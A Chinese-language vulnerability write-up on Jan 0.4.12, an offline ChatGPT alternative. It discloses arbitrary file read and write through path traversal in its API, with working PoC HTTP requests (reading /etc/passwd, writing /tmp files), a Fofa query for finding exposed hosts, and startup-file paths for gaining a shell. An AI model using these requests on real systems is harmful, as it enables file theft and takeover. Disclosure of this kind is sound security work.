自從ChatGPT橫空出世以來,我一直想找一個可以自己訓練的AI大模型,然而在使用Jan的過程中,數據包中傳遞的參數引起了我的興趣,簡單嘗試后發現了任意文件讀取和任意文件上傳漏洞。
簡介
Jan是ChatGPT的開源替代品,它在您的計算機上100%離線運行。多引擎支持(llama.cpp、TensorRT LLM)。
項目地址
- 官方網站
- GitHub
漏洞描述
Jan的API接口readFileSync
未過濾參數,導致出現任意文件讀取/下載漏洞。writeFileSync
和appendFileSync
未過濾參數,導致出現任意文件上載漏洞。
影響版本
- 0.4.12 Latest
搜索語法
Fofa
- icon_hash=“-165268926”
漏洞驗證和復現
任意文件讀取/下載
/v1/app/existsSync
可以通過路徑穿越判斷文件是否存在:
/v1/app/readFileSync
可以讀取/下載任意文件:
也包括root權限的文件:
Poc
POST /v1/app/readFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close["file:/../../../../../../etc/passwd","utf-8"]
任意文件上傳
創建任意文件并寫入內容:
查看文件內容:
追加寫入已存在的文件:
此外,您還可以利用此漏洞將計劃任務和啟動項寫入getshell,如:/etc/init.d/
目錄,/etc/rc.d/
目錄,/etc/rc.local
,~/.bash_profile
,~/.bash_login
和~/.profile
文件來getshell。
Poc
使用writeFileSync接口
POST /v1/app/writeFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 35
Origin: http://<IP>:<Port>
Connection: close["/../../../../../tmp/a.txt","abc"]
使用appendFileSync
POST /v1/app/appendFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close["file:/../../../../../../tmp/a.txt","bbb ccc"]
由于這里是使用nodejs造成的風險,我也嘗試上傳nodejs模塊結合調用getshell,但是沒成功。
原文
Jan AFR/AFD vulnerability
Jan Arbitrary File Upload vulnerability